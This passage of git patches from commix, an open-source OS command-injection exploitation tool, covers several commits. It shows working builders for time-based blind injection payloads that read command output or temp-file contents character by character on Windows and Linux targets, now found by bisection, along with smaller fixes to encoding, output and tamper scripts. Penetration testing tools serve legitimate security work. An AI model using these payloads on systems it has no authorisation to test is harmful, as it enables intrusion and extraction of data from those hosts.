method=http_request_method) + headers.do_check(request) + return request + + info_msg = "Testing if " + param_label + " is dynamic." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) + try: + real_body = _urllib.request.urlopen(fetch(settings.TESTABLE_VALUE), timeout=settings.TIMEOUT).read() + placeholder_body = _urllib.request.urlopen(fetch(placeholder), timeout=settings.TIMEOUT).read() + except Exception: + return + + ratio = difflib.SequenceMatcher(None, real_body, placeholder_body).ratio() + if ratio >= settings.STABILITY_SIMILARITY_THRESHOLD: + warn_msg = param_label + " does not appear to be dynamic." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Replace the parameter value with a disposable placeholder if the response stays the same but gets faster. """ @@ -409,6 +472,7 @@ def build(value): def injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.NOT_TESTABLE_PARAMETERS = False + check_parameter_dynamism(url, http_request_method, check_parameter) url = attempt_skip_testable_value(url, http_request_method, check_parameter) os_targets = ([settings.TARGET_OS] if settings.TARGET_OS else @@ -543,7 +607,6 @@ def _ensure_time_warmup(): if checks.procced_with_file_based_technique(): menu.options.tech = "f" - end_detection = False def _run_time_based(): _ensure_time_warmup() return timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) @@ -552,6 +615,7 @@ def _run_file_based(): _ensure_time_warmup() return filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + end_detection = False techniques = [ lambda: classic_command_injection_technique(url, timesec, filename, http_request_method), lambda: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method), diff --git a/src/utils/settings.py b/src/utils/settings.py index 1a2e75e85e..0bc8ff2456 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -291,7 +291,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "87" +REVISION = "88" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 45fd3d63e00747fee53d1fbfabf9e60052ace6ff Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 22 Aug 2026 12:52:03 +0300 Subject: [PATCH 0745/1023] Improved `--alter-shell` character extraction to bisect instead of scan linearly --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 21 +++--- src/core/injections/controller/checks.py | 7 +- src/core/injections/controller/injector.py | 67 ++++++++++++++++--- .../techniques/tempfile_based/tfb_payloads.py | 19 +++--- src/utils/settings.py | 2 +- 6 files changed, 89 insertions(+), 28 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 057d2ea2c2..f3ee451c32 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved `--alter-shell` character extraction to bisect instead of scan linearly. * Added: Dynamic parameter detection to identify parameters whose values change between requests. * Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions. * Fixed: Benign patterns like 'Accept: */*' are no longer misdetected as a custom injection marker. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index a6e51f177e..f938a7e8f4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -494,7 +494,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met """ __Warning__: The alternative shells are still experimental. """ -def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): +def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # Same bisection comparison by default as get_char() - validation re-probes with an equality operator. + win_operator = "GEQ" if operator == "-le" else "EQU" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator in ("|", "||"): @@ -502,7 +504,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) @@ -511,7 +513,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: @@ -522,7 +524,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http if separator in (";", "%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -532,16 +534,17 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - + elif separator == "||" : pipe = "|" + # Inverted to -gt (like get_char()'s "||" branch): "||" only runs sleep when this test fails. payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a95e1775e4..4530e6c288 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3319,8 +3319,11 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim if output != False : err_msg = "The '" + cmd + "' command did not return any output. This could be due to " err_msg += "'" + separator + "' filtration on the target host, or the command itself " - err_msg += "being invalid. If you're confident it's valid, try the '--alter-shell' " - err_msg += "option or another injection technique." + err_msg += "being invalid." + if not menu.options.alter_shell: + err_msg += " If you're confident it's valid, try the '--alter-shell' option or another injection technique." + else: + err_msg += " If you're confident it's valid, try another injection technique." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # Check for invalid provided command. else: diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 6c3edab346..884f2cd920 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -608,19 +608,70 @@ def _validate_char_boundary(candidate): return ascii_char, conn_error_flag def _extract_position(num_of_chars): + nonlocal timesec char_pool = checks.generate_char_pool(num_of_chars) if alter_shell: # Alternative shells are still experimental. - for ascii_char in char_pool: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + target = cmd if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else OUTPUT_TEXTFILE + + def _delayed(candidate, operator, local_timesec): + payload = payloads.get_char_alter_shell(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): - return num_of_chars, ascii_char, False - return num_of_chars, None, False + # Use the adaptive threshold instead of fixed values calibrated to a timesec that may have shrunk. + return checks.time_related_shell(url_time_response, exec_time, local_timesec) + + def _bisect(local_timesec): + lo, hi = min(char_pool) - 1, max(char_pool) + while hi - lo > 1: + mid = (lo + hi) // 2 + if _delayed(mid, "-le", local_timesec): + lo = mid + else: + hi = mid + return lo if lo >= min(char_pool) else None + + # Verify the bisection boundary independently; a noisy read can permanently steer it wrong. + def _boundary_holds(candidate, local_timesec): + if not _delayed(candidate, "-le", local_timesec): + return False + if candidate + 1 <= max(char_pool) and _delayed(candidate + 1, "-le", local_timesec): + return False + return True + + def _validate(candidate, local_timesec): + if settings.JITTER_SEEN: + votes = [_boundary_holds(candidate, local_timesec) for _ in range(3)] + holds = votes.count(True) >= 2 + else: + holds = _boundary_holds(candidate, local_timesec) and _boundary_holds(candidate, local_timesec) + return holds and _delayed(candidate, "-eq", local_timesec) + + revalidations = 0 + original_timesec = timesec + candidate = _bisect(timesec) + while True: + try: + validated = candidate is not None and _validate(candidate, timesec) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + if validated: + return num_of_chars, candidate, False + was_jittery = settings.JITTER_SEEN + settings.JITTER_SEEN = True + settings.ADJUST_TIME_DELAY_DISABLED = True + max_revalidations = settings.MAX_LENGTH_REVALIDATIONS * (3 if was_jittery else 1) + if revalidations >= max_revalidations: + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = original_timesec + return num_of_chars, None, True + revalidations += 1 + settings.print_data_to_stdout(settings.print_error_msg("Invalid character detected. Retrying.")) + if settings.ADJUST_TIME_DELAY_CHOICE != False: + with timesec_lock: + timesec = settings.CALIBRATED_TIMESEC = timesec + settings.TIME_DELAY_STEP + candidate = _bisect(timesec) # One bisection per position - the corruption check below catches systematic bias instead. ascii_char, conn_error_flag = _bisect_once(num_of_chars, char_pool) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index fdfd519dbf..e75ce35a77 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -406,7 +406,9 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http """ __Warning__: The alternative shells are still experimental. """ -def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): +def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # Same bisection comparison by default as get_char() - validation re-probes with an equality operator. + win_operator = "GEQ" if operator == "-le" else "EQU" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" if separator in ("|", "||"): @@ -414,7 +416,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) @@ -423,7 +425,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: @@ -433,7 +435,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t if separator in (";", "%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) @@ -442,15 +444,16 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t payload = (ampersand + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + "${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" + # Inverted to -gt (like get_char()'s "||" branch): "||" only runs sleep when this test fails. payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + - settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 0bc8ff2456..cbec7a2a9a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -291,7 +291,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "88" +REVISION = "89" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8530a48964007cb9561da47d45f396d9aef38ced Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 22 Aug 2026 12:52:46 +0300 Subject: [PATCH 0746/1023] Trivial update --- src/core/injections/controller/checks.py | 1 + src/core/injections/controller/controller.py | 6 ++++-- src/utils/purge.py | 1 - src/utils/settings.py | 13 ++++++++++++- 4 files changed, 17 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4530e6c288..100adae98a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1565,6 +1565,7 @@ def warm_up_response_baseline(url, http_request_method): settings.print_data_to_stdout(".") if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") + settings.close_progress_line() """ Warns once (whichever call site reaches it first) if the connection is already too jittery to trust automatically, and disables timesec auto-shrinking for the rest of the run. Returns True if lagging is (or was already found to be) detected. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 4c52bbeb4b..40a93c2484 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -608,11 +608,13 @@ def _ensure_time_warmup(): menu.options.tech = "f" def _run_time_based(): - _ensure_time_warmup() + if len(menu.options.tech) == 0 or "t" in menu.options.tech: + _ensure_time_warmup() return timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) def _run_file_based(): - _ensure_time_warmup() + if len(menu.options.tech) == 0 or "f" in menu.options.tech: + _ensure_time_warmup() return filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) end_detection = False diff --git a/src/utils/purge.py b/src/utils/purge.py index 8602e03cd9..92bf4b9b1e 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -126,7 +126,6 @@ def purge(): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: failed = False - os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as e: failed = True diff --git a/src/utils/settings.py b/src/utils/settings.py index cbec7a2a9a..9a5ee79e7d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -253,6 +253,17 @@ def clear_current_line(): sys.stdout.flush() PROGRESS_LINE_OPEN = False +""" +Close the current spinner line with a trailing newline. +""" +def close_progress_line(): + global PROGRESS_LINE_OPEN + with PRINT_LOCK: + if PROGRESS_LINE_OPEN: + sys.stdout.write(END_LINE.LF) + sys.stdout.flush() + PROGRESS_LINE_OPEN = False + """ argv input errors """ @@ -291,7 +302,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "89" +REVISION = "90" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e9e770ce9d59d68bd8adf5fc4406ae1256f049fa Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 23 Aug 2026 10:25:53 +0300 Subject: [PATCH 0747/1023] Improved encoding handling reliability to prevent unhandled Unicode errors during scans --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 8 ++++---- src/utils/logs.py | 2 +- src/utils/settings.py | 16 +++++++++++++--- 4 files changed, 19 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f3ee451c32..2f676d7572 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved encoding handling reliability to prevent unhandled Unicode errors during scans. * Revised: Improved `--alter-shell` character extraction to bisect instead of scan linearly. * Added: Dynamic parameter detection to identify parameters whose values change between requests. * Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index fc0bbb41b6..e8d769ab31 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -139,10 +139,10 @@ def check_http_traffic(request): class connection(http_client): def send(self, req): - headers = req.decode() - # http.client sends headers and body as separate send() calls - a headers - # chunk always ends in a blank line, so that's where the body (printed on - # the next send() call) will visually start. + # Decode request output safely, replacing non-UTF8 bytes instead of crashing. + headers = req.decode(settings.DEFAULT_CODEC, errors="replace") + # Headers end with a blank line, so the next send() starts the body. + ends_with_blank_line = headers.endswith(settings.END_LINE.CRLF + settings.END_LINE.CRLF) request_http_headers = str(headers).split(settings.END_LINE.CRLF) unique_request_http_headers = [] diff --git a/src/utils/logs.py b/src/utils/logs.py index 359d50f1c7..d2b60d2bbe 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -201,7 +201,7 @@ def logs_notification(filename): Log all HTTP traffic into a textual file. """ def log_traffic(header): - with open(menu.options.traffic_file, "a") as output_file: + with open(menu.options.traffic_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: output_file.write(header) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 9a5ee79e7d..af21ec9038 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -211,6 +211,16 @@ def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL return result +""" +Write to stdout, falling back to a lossy re-encode for unsupported characters. +""" +def _stdout_write(data): + try: + sys.stdout.write(data) + except UnicodeEncodeError: + encoding = getattr(sys.stdout, "encoding", None) or DEFAULT_CODEC + sys.stdout.write(data.encode(encoding, errors="replace").decode(encoding, errors="replace")) + """ Print data to stdout """ @@ -219,7 +229,7 @@ def print_data_to_stdout(data): with PRINT_LOCK: # A bare "\r" only moves the cursor and does not open a line. if data == END_LINE.CR: - sys.stdout.write(data) + _stdout_write(data) sys.stdout.flush() return @@ -239,7 +249,7 @@ def print_data_to_stdout(data): if not is_spinner_style: data = data + END_LINE.LF - sys.stdout.write(data) + _stdout_write(data) sys.stdout.flush() PROGRESS_LINE_OPEN = is_spinner_style and not has_lf @@ -302,7 +312,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "90" +REVISION = "91" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f4f2ee949b4522a30c4d322e8de99fdb9d9ee444 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 23 Aug 2026 10:26:19 +0300 Subject: [PATCH 0748/1023] Improved tamper script handling reliability, including duplicate/invalid input and error handling --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 68 +++++++++++++++--------- src/core/tamper/doublequotes.py | 3 -- src/core/tamper/sleep2timeout.py | 9 +--- src/core/tamper/sleep2usleep.py | 14 ++--- src/utils/settings.py | 5 +- 6 files changed, 48 insertions(+), 52 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2f676d7572..1ae55e576b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved tamper script handling reliability, including duplicate/invalid input and error handling. * Fixed: Improved encoding handling reliability to prevent unhandled Unicode errors during scans. * Revised: Improved `--alter-shell` character extraction to bisect instead of scan linearly. * Added: Dynamic parameter detection to identify parameters whose values change between requests. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 100adae98a..b118dbb218 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1786,7 +1786,9 @@ def tamper_scripts(stored_tamper_scripts): if menu.options.tamper: # Check the provided tamper script(s) available_scripts = [] - provided_scripts = list(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())) + # Drop empty segments (trailing/double comma) and de-duplicate (preserving order) so a repeated name is validated, loaded, and reported only once. + raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) + provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip())) for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): available_scripts.append(os.path.basename(script.split(".py")[0])) for script in provided_scripts: @@ -2134,7 +2136,23 @@ def check_for_stored_tamper(payload): tamper_scripts(stored_tamper_scripts=True) """ -Perform payload modification +Run a tamper script's tamper(), turning an exception or a non-string return value into a clean error instead of crashing raw or corrupting the payload. +""" +def _apply_tamper(script_name, module, payload): + try: + result = module.tamper(payload) + except Exception as err: + err_msg = "Tamper script '" + script_name + "' raised an unhandled error (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if not isinstance(result, str): + err_msg = "Tamper script '" + script_name + "' returned an invalid payload type ('" + type(result).__name__ + "')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + return result + +""" +Perform payload modification. Fixed pipeline order, not --tamper's given order or a priority value - these OS-command tampers have real dependencies (quoting before space-encoding, encoding last), unlike commutative SQL tampers. """ def perform_payload_modification(payload): try: @@ -2142,106 +2160,104 @@ def perform_payload_modification(payload): except IndexError: settings.RAW_PAYLOAD = payload - for extra_http_headers in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): - if extra_http_headers == "xforwardedfor": - from src.core.tamper import xforwardedfor + # "xforwardedfor" mutates request headers, not the payload string - applied directly in headers.do_check(), nothing to do here. for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'backticks': from src.core.tamper import backticks - payload = backticks.tamper(payload) + payload = _apply_tamper(mod_type, backticks, payload) for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Reverses (characterwise) the user-supplied operating system commands if mod_type == 'rev': from src.core.tamper import rev - payload = rev.tamper(payload) + payload = _apply_tamper(mod_type, rev, payload) for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Replaces each user-supplied operating system command character with random case if mod_type == 'randomcase': from src.core.tamper import randomcase - payload = randomcase.tamper(payload) + payload = _apply_tamper(mod_type, randomcase, payload) for print_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # printf to echo (for ascii to dec) if print_type == 'printf2echo': from src.core.tamper import printf2echo - payload = printf2echo.tamper(payload) + payload = _apply_tamper(print_type, printf2echo, payload) for sleep_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # sleep to timeout if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout - payload = 